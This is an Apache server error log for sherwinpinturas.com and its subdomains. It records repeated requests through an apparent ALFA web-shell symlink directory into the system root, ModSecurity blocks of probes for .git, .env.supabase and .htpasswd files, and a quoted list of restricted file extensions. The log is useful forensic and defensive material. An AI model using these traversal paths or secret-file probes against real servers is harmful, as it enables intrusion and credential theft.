[Mon Oct 26 06:58:02.844343 2026] [ssl:error] [pid 3010072:tid 3010072] (70014)End of file found: [client 54.162.69.192:18965] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:58:10.772965 2026] [ssl:error] [pid 3017653:tid 3017653] (70014)End of file found: [client 18.213.102.186:29323] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:58:14.762908 2026] [core:error] [pid 3010074:tid 3010074] (13)Permission denied: [client 3.224.215.150:41400] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/remove
[Mon Oct 26 06:58:18.734173 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 54.197.102.71:19262] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:58:22.594492 2026] [ssl:error] [pid 3010072:tid 3010072] (70014)End of file found: [client 35.174.253.85:46044] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:58:26.494510 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 18.232.36.1:31969] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:58:31.558489 2026] [core:error] [pid 3010063:tid 3010063] (13)Permission denied: [client 100.24.167.60:44907] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/0000:00:03.0/subsystem/drivers/iosf_mbi_pci/uevent
[Mon Oct 26 06:58:34.409618 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 44.217.177.142:29405] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:58:38.465493 2026] [core:error] [pid 3015725:tid 3015725] (13)Permission denied: [client 3.230.224.6:27748] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/PNP0A06:02/subsystem/devices/device:07/subsystem/drivers/hardware_error_device/uevent
[Mon Oct 26 06:58:45.502871 2026] [ssl:error] [pid 3010063:tid 3010063] (70014)End of file found: [client 85.208.96.194:10808] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:58:46.333951 2026] [core:error] [pid 3002822:tid 3002822] (13)Permission denied: [client 98.82.214.73:48330] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/bus/pnp/devices/00:02/firmware_node/subsystem/drivers/hardware_error_device/uevent
[Mon Oct 26 06:58:50.246185 2026] [ssl:error] [pid 3015725:tid 3015725] (70014)End of file found: [client 3.229.164.203:4248] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:58:54.317683 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 98.82.107.102:8496] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:59:02.198863 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 44.209.187.99:6660] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:59:04.950389 2026] [core:error] [pid 3011490:tid 3011490] (13)Permission denied: [client 85.208.96.193:41594] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/cpu_slabs
[Mon Oct 26 06:59:06.244441 2026] [core:error] [pid 3015803:tid 3015803] (13)Permission denied: [client 54.197.114.76:25758] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:1d/subsystem/drivers/hardware_error_device/uevent
[Mon Oct 26 06:59:10.331538 2026] [ssl:error] [pid 3010072:tid 3010072] (70014)End of file found: [client 107.20.255.194:14011] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:59:10.971189 2026] [security2:error] [pid 3010074:tid 3010074] [client 85.208.96.209:32702] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/phplite/php53/"] [unique_id "at8yfiz2IVlcktcA6K04QQAAABg"]
[Mon Oct 26 06:59:10.971229 2026] [security2:error] [pid 3010074:tid 3010074] [client 85.208.96.209:32702] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/phplite/php53/"] [unique_id "at8yfiz2IVlcktcA6K04QQAAABg"]
[Mon Oct 26 06:59:18.208486 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 44.205.180.155:44039] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:59:18.823517 2026] [security2:error] [pid 3015803:tid 3015803] [client 85.208.96.212:54810] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/robots.txt"] [unique_id "at8yhqXMILbsMtUzObzJfgAAAAg"]
[Mon Oct 26 06:59:18.823562 2026] [security2:error] [pid 3015803:tid 3015803] [client 85.208.96.212:54810] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/robots.txt"] [unique_id "at8yhqXMILbsMtUzObzJfgAAAAg"]
[Mon Oct 26 06:59:22.256413 2026] [proxy_fcgi:error] [pid 3010072:tid 3010072] [client 18.232.36.1:52277] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 06:59:30.203452 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 23.20.178.124:26948] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:59:38.188654 2026] [ssl:error] [pid 3010072:tid 3010072] (70014)End of file found: [client 100.29.63.24:26498] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:59:42.330044 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 52.71.216.196:18160] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:59:50.187180 2026] [ssl:error] [pid 3010062:tid 3010062] (70014)End of file found: [client 184.73.35.182:26274] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:59:54.185831 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 44.194.139.149:26406] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:59:55.374028 2026] [ssl:error] [pid 3017657:tid 3017657] (70014)End of file found: [client 85.208.96.204:35172] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 06:59:58.173671 2026] [core:error] [pid 3011490:tid 3011490] (13)Permission denied: [client 50.19.79.213:55620] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXCPU:01/physical_node/node0/cpu0/driver/bind
[Mon Oct 26 07:00:10.181585 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 18.204.152.114:47876] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:00:18.197418 2026] [ssl:error] [pid 3017837:tid 3017837] (70014)End of file found: [client 100.28.57.133:45756] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:00:26.312425 2026] [ssl:error] [pid 3002822:tid 3002822] (70014)End of file found: [client 44.205.192.249:29215] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:00:34.199515 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 54.235.191.179:13346] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:00:50.196615 2026] [ssl:error] [pid 3017837:tid 3017837] (70014)End of file found: [client 107.23.62.75:26877] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:00:54.361920 2026] [core:error] [pid 3000174:tid 3000174] (13)Permission denied: [client 3.210.114.189:61063] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory20/node0/cpu0/firmware_node/physical_node/driver/uevent
[Mon Oct 26 07:01:02.223508 2026] [ssl:error] [pid 3017837:tid 3017837] (70014)End of file found: [client 52.70.209.13:49911] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:01:02.548567 2026] [core:error] [pid 3010067:tid 3010067] (13)Permission denied: [client 185.191.171.5:57182] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/kcare/sections/__kcrctab_gpl
[Mon Oct 26 07:01:22.171573 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 3.213.106.226:31064] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:01:26.232044 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 3.213.85.234:31942] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:01:38.165676 2026] [core:error] [pid 3010067:tid 3010067] (13)Permission denied: [client 98.84.200.43:8007] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/device:03/physical_node/driver/remove_id
[Mon Oct 26 07:01:46.177941 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 52.45.15.233:38972] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:01:50.172617 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 23.21.119.232:9149] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:02:02.310720 2026] [ssl:error] [pid 3017657:tid 3017657] (70014)End of file found: [client 18.232.12.157:21283] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:02:06.373231 2026] [ssl:error] [pid 3010067:tid 3010067] (70014)End of file found: [client 50.19.102.70:23756] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:02:11.014217 2026] [security2:error] [pid 3010063:tid 3010063] [client 185.191.171.13:33416] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/python3.12/__pycache__/sre_compile.cpython-312.opt-1.pyc"] [unique_id "at8zMlQCSjBN4LPVCMiT1wAAABA"]
[Mon Oct 26 07:02:11.014275 2026] [security2:error] [pid 3010063:tid 3010063] [client 185.191.171.13:33416] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/lib64/python3.12/__pycache__/sre_compile.cpython-312.opt-1.pyc"] [unique_id "at8zMlQCSjBN4LPVCMiT1wAAABA"]
[Mon Oct 26 07:02:15.921823 2026] [security2:error] [pid 3010067:tid 3010067] [client 34.34.126.31:20638] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at8zN1wJcrReXfrIodgztQAAABI"]
[Mon Oct 26 07:02:15.922204 2026] [security2:error] [pid 3010067:tid 3010067] [client 34.34.126.31:20638] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at8zN1wJcrReXfrIodgztQAAABI"]
[Mon Oct 26 07:02:15.922684 2026] [security2:error] [pid 3010067:tid 3010067] [client 34.34.126.31:20638] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at8zN1wJcrReXfrIodgztQAAABI"]
[Mon Oct 26 07:02:22.218341 2026] [ssl:error] [pid 3019482:tid 3019482] (70014)End of file found: [client 23.21.179.120:19301] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:02:29.356899 2026] [security2:error] [pid 3010074:tid 3010074] [client 185.191.171.1:41700] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/rear/conf/default.conf"] [unique_id "at8zRSz2IVlcktcA6K04TAAAABg"]
[Mon Oct 26 07:02:29.357263 2026] [security2:error] [pid 3010074:tid 3010074] [client 185.191.171.1:41700] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/rear/conf/default.conf"] [unique_id "at8zRSz2IVlcktcA6K04TAAAABg"]
[Mon Oct 26 07:02:29.357652 2026] [security2:error] [pid 3010074:tid 3010074] [client 185.191.171.1:41700] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/rear/conf/default.conf"] [unique_id "at8zRSz2IVlcktcA6K04TAAAABg"]
[Mon Oct 26 07:02:32.906439 2026] [core:error] [pid 3019482:tid 3019482] (13)Permission denied: [client 85.208.96.196:25890] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UDPLITEv6/cpu_partial
[Mon Oct 26 07:02:38.173535 2026] [ssl:error] [pid 3011490:tid 3011490] (70014)End of file found: [client 18.232.36.1:11019] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:02:42.187176 2026] [ssl:error] [pid 3017657:tid 3017657] (70014)End of file found: [client 52.54.249.218:35910] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:02:46.185710 2026] [ssl:error] [pid 3010074:tid 3010074] (70014)End of file found: [client 54.159.98.248:53920] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:02:54.181854 2026] [core:error] [pid 3011490:tid 3011490] (13)Permission denied: [client 34.239.197.197:43855] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/device:1e/subsystem/drivers/battery/uevent
[Mon Oct 26 07:02:58.277996 2026] [ssl:error] [pid 3019482:tid 3019482] (70014)End of file found: [client 54.197.114.76:60317] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:03:02.198073 2026] [ssl:error] [pid 3019492:tid 3019492] (70014)End of file found: [client 3.232.102.111:55107] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:03:06.205329 2026] [core:error] [pid 3011490:tid 3011490] (13)Permission denied: [client 3.216.227.216:6032] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/8250_mid/remove_id
[Mon Oct 26 07:03:06.278117 2026] [security2:error] [pid 3010062:tid 3010062] [client 107.172.76.131:53270] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8zXujICF14JuwJz6aBrwAAAA8"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 07:03:06.278169 2026] [security2:error] [pid 3010062:tid 3010062] [client 107.172.76.131:53270] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at8zXujICF14JuwJz6aBrwAAAA8"], referer: https://bases1.sherwinpinturas.com/beta.php
[Mon Oct 26 07:03:14.145633 2026] [ssl:error] [pid 3010072:tid 3010072] (70014)End of file found: [client 98.82.38.120:8693] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:03:34.176075 2026] [ssl:error] [pid 3008498:tid 3008498] (70014)End of file found: [client 18.208.11.93:34623] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:03:50.159562 2026] [ssl:error] [pid 3010072:tid 3010072] (70014)End of file found: [client 52.203.65.83:21057] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:03:54.469257 2026] [ssl:error] [pid 3019492:tid 3019492] (70014)End of file found: [client 18.207.79.144:8930] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:04:02.155806 2026] [ssl:error] [pid 3000174:tid 3000174] (70014)End of file found: [client 54.210.152.179:10034] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:04:10.150547 2026] [security2:error] [pid 3008498:tid 3008498] [client 34.192.125.239:55511] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/virtio0/"] [unique_id "at8zqnWyvchEwsg-8-hoJAAAAAs"]
[Mon Oct 26 07:04:10.150590 2026] [security2:error] [pid 3008498:tid 3008498] [client 34.192.125.239:55511] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/devices/pci0000:00/pci_bus/0000:00/device/firmware_node/device:0c/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/virtio0/"] [unique_id "at8zqnWyvchEwsg-8-hoJAAAAAs"]
[Mon Oct 26 07:04:14.172599 2026] [core:error] [pid 3002822:tid 3002822] (13)Permission denied: [client 52.23.112.144:6778] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/kernel/slab/Acpi-ParseExt/object_size
[Mon Oct 26 07:04:22.417601 2026] [ssl:error] [pid 3017657:tid 3017657] (70014)End of file found: [client 3.93.211.16:27510] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:04:30.140387 2026] [ssl:error] [pid 3017837:tid 3017837] (70014)End of file found: [client 52.0.105.244:32349] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:04:46.247555 2026] [ssl:error] [pid 3017657:tid 3017657] (70014)End of file found: [client 52.45.29.57:63906] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:05:01.389854 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/"] [unique_id "at8z3QPZVv3Il2lbVePvigAAAAQ"]
[Mon Oct 26 07:05:01.390281 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/"] [unique_id "at8z3QPZVv3Il2lbVePvigAAAAQ"]
[Mon Oct 26 07:05:01.390630 2026] [security2:error] [pid 3002822:tid 3002822] [client 34.39.164.1:47320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/"] [unique_id "at8z3QPZVv3Il2lbVePvigAAAAQ"]
[Mon Oct 26 07:05:01.958695 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Warning. Match of "rx ^%{tx.allowed_request_content_type}$" against "TX:0" required. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "440"] [id "920420"] [rev "2"] [msg "Request content type is not allowed by policy"] [data "text/x-component"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED"] [tag "WASCTC/WASC-20"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/EE2"] [tag "PCI/12.1"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/"] [unique_id "at8z3Sz2IVlcktcA6K04VgAAABg"]
[Mon Oct 26 07:05:01.959103 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/"] [unique_id "at8z3Sz2IVlcktcA6K04VgAAABg"]
[Mon Oct 26 07:05:01.959351 2026] [security2:error] [pid 3010074:tid 3010074] [client 34.39.164.1:47338] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): Request content type is not allowed by policy"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/"] [unique_id "at8z3Sz2IVlcktcA6K04VgAAABg"]
[Mon Oct 26 07:05:02.146787 2026] [ssl:error] [pid 3019667:tid 3019667] (70014)End of file found: [client 23.23.214.190:4539] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 07:05:02.223775 2026] [security2:error] [pid 2993961:tid 2993961] [client 34.39.164.1:47354] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.supabase"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at8z3hJqpTbSe9f2_suCvwAAAAc"]
[Mon Oct 26 07:05:02.224034 2026] [security2:error] [pid 2993961:tid 2993961] [client 34.39.164.1:47354] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at8z3hJqpTbSe9f2_suCvwAAAAc"]
[Mon Oct 26 07:05:02.224388 2026] [security2:error] [pid 2993961:tid 2993961] [client 34.39.164.1:47354] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.supabase"] [unique_id "at8z3hJqpTbSe9f2_suCvwAAAAc"]
[Mon Oct 26 07:05:03.363495 2026] [authz_core:error] [pid 3019667:tid 3019667] [client 34.39.164.1:35050] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/wapi1/.htpasswd
